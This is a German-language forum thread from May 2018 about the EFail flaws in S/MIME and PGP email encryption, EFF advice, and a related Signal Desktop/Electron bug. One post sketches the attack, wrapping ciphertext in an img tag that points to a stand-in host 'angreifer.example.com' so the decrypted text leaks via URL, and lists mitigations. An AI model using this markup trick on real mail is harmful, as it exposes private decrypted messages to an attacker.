nicht angemeldet
S/MIME und PGP-Verschlüsselung für Emails sind defekt
AugeHallo alle,
wie der Titel schon sagt: es ist einem Angreifer möglich, die Entschlüsselten Emails abzugreifen. Es handelt sich sowohl um einen Bug (erster Angriff) als auch um ein systematisches Problem (zweiter Angriff).
Die EFF empfiehlt zur Zeit keine Emails mehr zu entschlüsseln (sic! dieser Teil ist wichtig!) bis es Patches gibt.
LG,
CK
-
Hallo
wie der Titel schon sagt: es ist einem Angreifer möglich, die Entschlüsselten Emails abzugreifen. Es handelt sich sowohl um einen Bug (erster Angriff) als auch um ein systematisches Problem (zweiter Angriff).
Die EFF empfiehlt zur Zeit keine Emails mehr zu entschlüsseln (sic! dieser Teil ist wichtig!) bis es Patches gibt.
Ich lese da anderes, nämlich die Empfehlung, die entsprechenden Programme sofort abzuschalten und/oder sie zu deinstallieren (Hervorhebung von denen).
„Our advice, which mirrors that of the researchers, is to immediately disable and/or uninstall tools that automatically decrypt PGP-encrypted email.“
Der Rat, stattdessen Tools wie das beispielhaft genannte Signal zu nutzen, können, nach aktueller Nachrichtenlage, in bestimmten Szenarien (Signal Desktop) aber auch nach hinten losgehen.
Tschö, Auge
--
Eine Kerze stand [auf dem Abort] bereit, und der Almanach des vergangenen Jahres hing an einer Schnur. Die Herausgeber kannten ihre Leser und druckten den Almanach auf weiches, dünnes Papier.
Kleine freie Männer von Terry Pratchett-
Hallo Auge,
wie der Titel schon sagt: es ist einem Angreifer möglich, die Entschlüsselten Emails abzugreifen. Es handelt sich sowohl um einen Bug (erster Angriff) als auch um ein systematisches Problem (zweiter Angriff).
Die EFF empfiehlt zur Zeit keine Emails mehr zu entschlüsseln (sic! dieser Teil ist wichtig!) bis es Patches gibt.
Ich lese da anderes, nämlich die Empfehlung, die entsprechenden Programme sofort abzuschalten und/oder sie zu deinstallieren (Hervorhebung von denen).
Möglich, ich habe das etwas weiter aufgefasst. Die Folgen dieses Bugs sind nicht so ohne weiteres absehbar, deshalb halte ich es aktuell für sinnvoll veschlüsselte Emails gar nicht zu entschlüsseln, bevor dieses Problem nicht genauer erforscht ist.
Der Rat, stattdessen Tools wie das beispielhaft genannte Signal zu nutzen, können, nach aktueller Nachrichtenlage, in bestimmten Szenarien (Signal Desktop) aber auch nach hinten losgehen.
Ja, Elektron, die Geissel der modernen Desktops… sigh
LG,
CK-
Hallo
wie der Titel schon sagt: es ist einem Angreifer möglich, die Entschlüsselten Emails abzugreifen. Es handelt sich sowohl um einen Bug (erster Angriff) als auch um ein systematisches Problem (zweiter Angriff).
Die EFF empfiehlt zur Zeit keine Emails mehr zu entschlüsseln (sic! dieser Teil ist wichtig!) bis es Patches gibt.
Ich lese da anderes, nämlich die Empfehlung, die entsprechenden Programme sofort abzuschalten und/oder sie zu deinstallieren (Hervorhebung von denen).
Möglich, ich habe das etwas weiter aufgefasst. Die Folgen dieses Bugs sind nicht so ohne weiteres absehbar, deshalb halte ich es aktuell für sinnvoll veschlüsselte Emails gar nicht zu entschlüsseln, bevor dieses Problem nicht genauer erforscht ist.
Morgen (heute Nacht (nach MESZ)) folgt ja wohl die offizielle Vorstellung von EFail vor der Presse. Die Seite efail.de schreibt jedenfalls schon mehr, als ich ad hoc aufnehmen kann.
Der Rat, stattdessen Tools wie das beispielhaft genannte Signal zu nutzen, können, nach aktueller Nachrichtenlage, in bestimmten Szenarien (Signal Desktop) aber auch nach hinten losgehen.
Ja, Elektron, die Geissel der modernen Desktops… sigh
Das von dir, der du mir einstmals Atom, welches ebenfalls Elektron-basiert ist, als plattformübergreifenden Editor (mehr oder minder) empfohlen hast. 😀 Die Elektron-Entwicker sollen ja schon Fixes veröffentlicht haben [1]. Wie schnell der in den einzelnen Anwendungen landet, ist wohl die Frage.
Auf der Release-Seite für die aktuelle Version von Signal Desktop (1.10.1 (11.05.2018 23:00 MESZ)) ist noch nichts zu finden, was auf Elektron hinweist. Allerdings gab es seitdem mit Stand 14.05.2018 14:57 MESZ ganze 144 Commits. Das sieht für mich irgendwie nach Hyperaktivität aus. Zumindest die Nicht-Desktop-Versionen sind davon nicht betroffen. So kann ich wenigstens mit dem Telefon weiterfunken. 😀
[edit]Das Issue im Signal-Desktop-Repo wurde mit dem Hinweis, Signal wäre nicht betroffen, geschlossen. Aha.[/edit]
Tschö, Auge
--
Eine Kerze stand [auf dem Abort] bereit, und der Almanach des vergangenen Jahres hing an einer Schnur. Die Herausgeber kannten ihre Leser und druckten den Almanach auf weiches, dünnes Papier.
Kleine freie Männer von Terry Pratchett
Zitat aus dem Blogeintrag (Hervorhebung von mir): „We'd also like to thank the Electron team for being extremely responsive and for quickly providing a patch to the public.“ ↩︎
-
Hallo Auge,
Der Rat, stattdessen Tools wie das beispielhaft genannte Signal zu nutzen, können, nach aktueller Nachrichtenlage, in bestimmten Szenarien (Signal Desktop) aber auch nach hinten losgehen.
Ja, Elektron, die Geissel der modernen Desktops… sigh
Das von dir, der du mir einstmals Atom, welches ebenfalls Elektron-basiert ist, als plattformübergreifenden Editor (mehr oder minder) empfohlen hast. 😀
Hehe. Ich schätze Atom, den Editor. Ich finde jedoch die Technologie Elektron grauslig und hätte es lieber als native Applikation.
Auf der Release-Seite für die aktuelle Version von Signal Desktop (1.10.1 (11.05.2018 23:00 MESZ)) ist noch nichts zu finden, was auf Elektron hinweist. Allerdings gab es seitdem mit Stand 14.05.2018 14:57 MESZ ganze 144 Commits. Das sieht für mich irgendwie nach Hyperaktivität aus. Zumindest die Nicht-Desktop-Versionen sind davon nicht betroffen. So kann ich wenigstens mit dem Telefon weiterfunken. 😀
Ich verstehe halt gerade bei Signal nicht, warum sie diese Technologie gewählt haben. Die haben sich doch Sicherheit und moderne Krypto auf die Fahnen geschrieben…
LG,
CK-
Hallo
Auf der Release-Seite für die aktuelle Version von Signal Desktop (1.10.1 (11.05.2018 23:00 MESZ)) ist noch nichts zu finden, was auf Elektron hinweist. …
Ich verstehe halt gerade bei Signal nicht, warum sie diese Technologie gewählt haben. Die haben sich doch Sicherheit und moderne Krypto auf die Fahnen geschrieben…
Mit deinem Unverständnis stehst du nicht alleine da. Vielleicht ist Elektron einfach nur verführerisch einfach. Zur Reaktion der Signal-Desktop-Entwickler siehe bitte das Edit meines letzten Postings. Fehlerfrei per Akklamation oder wie?
Tschö, Auge
--
Eine Kerze stand [auf dem Abort] bereit, und der Almanach des vergangenen Jahres hing an einer Schnur. Die Herausgeber kannten ihre Leser und druckten den Almanach auf weiches, dünnes Papier.
Kleine freie Männer von Terry Pratchett
-
-
Hallo Auge,
[edit]Das Issue im Signal-Desktop-Repo wurde mit dem Hinweis, Signal wäre nicht betroffen, geschlossen. Aha.[/edit]
In dem Zusammenhang: Signal Desktop ist kaputt. 🤦♂️
LG,
CK-
Hallo
[edit]Das Issue im Signal-Desktop-Repo wurde mit dem Hinweis, Signal wäre nicht betroffen, geschlossen. Aha.[/edit]
In dem Zusammenhang: Signal Desktop ist kaputt. 🤦♂️
Och nöö! Aber „Solution/Vendor Information/Workaround: Upgrade to Signal-desktop messenger v1.10.1 or v1.11.0-beta.3“, es ist also eine gefixte Version verfügbar (genauer gesagt: zwei Versionen). Übrigens noch schöner ist der nächste Satz:
„For safer communications on desktop systems, please consider the use of a safer end-point client like PGP or GnuPG instead.“
… Wir drehen uns quasi im Kreis. 😀
Tschö, Auge
--
Eine Kerze stand [auf dem Abort] bereit, und der Almanach des vergangenen Jahres hing an einer Schnur. Die Herausgeber kannten ihre Leser und druckten den Almanach auf weiches, dünnes Papier.
Kleine freie Männer von Terry Pratchett-
Hallo Auge,
Übrigens noch schöner ist der nächste Satz:
„For safer communications on desktop systems, please consider the use of a safer end-point client like PGP or GnuPG instead.“
… Wir drehen uns quasi im Kreis. 😀
Ja, da habe ich auch herzlich lachen müssen 😜
LG,
CK
-
-
-
-
-
Hallo
wie der Titel schon sagt: es ist einem Angreifer möglich, die Entschlüsselten Emails abzugreifen. Es handelt sich sowohl um einen Bug (erster Angriff) als auch um ein systematisches Problem (zweiter Angriff).
Die EFF empfiehlt zur Zeit keine Emails mehr zu entschlüsseln (sic! dieser Teil ist wichtig!) bis es Patches gibt.
Auf Heise.de gibt es mittlerweile mehrere Artikel [1], die sich mit den Angriffswegen und den möglichen Gegenmaßnahmen beschäftigen.
Long story (mehr oder minder) short, der Angreifer manipuliert als Man in the Middle die Nachricht vor deren Ankunft beim Adressaten und fasst den verschlüsselten Nachrichtentext beispielsweise in ein
img-Tag ein. Vor den Inhalt kommt<img href="https://angreifer.example.com?und hinter ihn">, so dass der Nachrichtentext beim Empfänger als URL-Parameter gerendert wird. Sind im E-Mail-Programm HTML-E-Mails und das nachladen externer Ressourcen erlaubt, gelangt der Nachrichteninhalt als Bestandteil der URL zum Server des Angreifers, wo der ihn mindestens aus den Logfiles kratzen kann. Es gibt weitere, im Prinzip ähnlich funktionierende Angriffswege.Das Abschalten zumindest des nachladens externer Ressourcen hinterlässt die entschlüsselte E-Mail in manipuliertem aber funktionslosem Zustand. Mit dem zusätzlichen abschalten der HTML-Anzeige von E-Mails ist der Angriffsweg nach aktuellem Kenntnisstand verbaut. Viele E-Mails lassen sich so allerdings nicht anzeigen, weil deren Ersteller sich keine Mühe geben, zugängliche E-Mails zu erzeugen [2]. Dafür müsste man denen auf die Schuhe pissen, aber das interessiert die allermeisten wohl nicht die Bohne.
Generell sicher wären verschlüsselte E-Mails erst, wenn ihre Integrität nachweisbar wäre. Also, dass nachweisbar wäre, dass sie auf dem Weg von ihrer Verschlüsselung zu ihrer Entschlüsselung nicht manipuliert wurden. S/MIME kann das nicht, OpenPGP schon, allerdings ist das, laut Heise-Artikel, nicht überall implementiert. Und selbst dann kann der Angreifer die entsprechenden Stellen aus der E-Mail entfernen. Sie ist dann kaputt, viele Clients versuchen dennoch etwas darzustellen, was dann wiederum manipuliert ist.
Tschö, Auge
--
Eine Kerze stand [auf dem Abort] bereit, und der Almanach des vergangenen Jahres hing an einer Schnur. Die Herausgeber kannten ihre Leser und druckten den Almanach auf weiches, dünnes Papier.
Kleine freie Männer von Terry Pratchett
-
Hallo
wie der Titel schon sagt: es ist einem Angreifer möglich, die Entschlüsselten Emails abzugreifen. Es handelt sich sowohl um einen Bug (erster Angriff) als auch um ein systematisches Problem (zweiter Angriff).
In einem Interview mit dem Chefentwickler von Enigmail äußert dieser Kritk und nennt den Ton der Veröffentlichung, gerade den Bereich Empfehlungen, Panikmache.
Tschö, Auge
--
Eine Kerze stand [auf dem Abort] bereit, und der Almanach des vergangenen Jahres hing an einer Schnur. Die Herausgeber kannten ihre Leser und druckten den Almanach auf weiches, dünnes Papier.
Kleine freie Männer von Terry Pratchett